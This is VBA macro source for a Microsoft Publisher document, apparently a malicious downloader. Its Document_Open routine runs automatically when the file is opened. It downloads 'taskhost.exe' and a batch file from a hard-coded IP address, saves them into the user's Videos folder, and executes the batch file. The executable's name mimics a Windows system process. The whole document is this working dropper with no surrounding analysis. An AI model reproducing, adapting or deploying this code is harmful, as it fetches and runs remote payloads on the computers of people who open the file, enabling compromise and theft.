Private WithEvents PubApp As Publisher.Application Sub DownloadFile() Dim myURL As String myURL = "http://194.33.40.177/webdav/taskhost.exe" username = Environ("username")
Dim WinHttpReq As Object Set WinHttpReq = CreateObject("Microsoft.XMLHTTP") WinHttpReq.Open "GET", myURL, False WinHttpReq.send If WinHttpReq.Status = 200 Then Set oStream = CreateObject("ADODB.Stream") oStream.Open oStream.Type = 1 oStream.Write WinHttpReq.responseBody oStream.SaveToFile "C:\Users\" + username + "\Videos\taskhost.exe", 2 ' 1 = no overwrite, 2 = overwrite oStream.Close End If End Sub Sub DownloadBat() Dim myURL As String username = Environ("username") myURL = "http://194.33.40.177/webdav/status.txt" Dim WinHttpReq As Object Set WinHttpReq = CreateObject("Microsoft.XMLHTTP") WinHttpReq.Open "GET", myURL, False WinHttpReq.send If WinHttpReq.Status = 200 Then Set oStream = CreateObject("ADODB.Stream") oStream.Open oStream.Type = 1 oStream.Write WinHttpReq.responseBody oStream.SaveToFile "C:\Users\" + username + "\Videos\status.bat", 2 ' 1 = no overwrite, 2 = overwrite oStream.Close End If End Sub Sub Exec() Dim x As Variant Dim Path As String username = Environ("username") Path = "C:\Users\" + username + "\Videos\status.bat" x = Shell(Path, vbNormalFocus) End Sub Private Sub Document_Open() Set PubApp = Publisher.Application DownloadFile DownloadBat Exec End Sub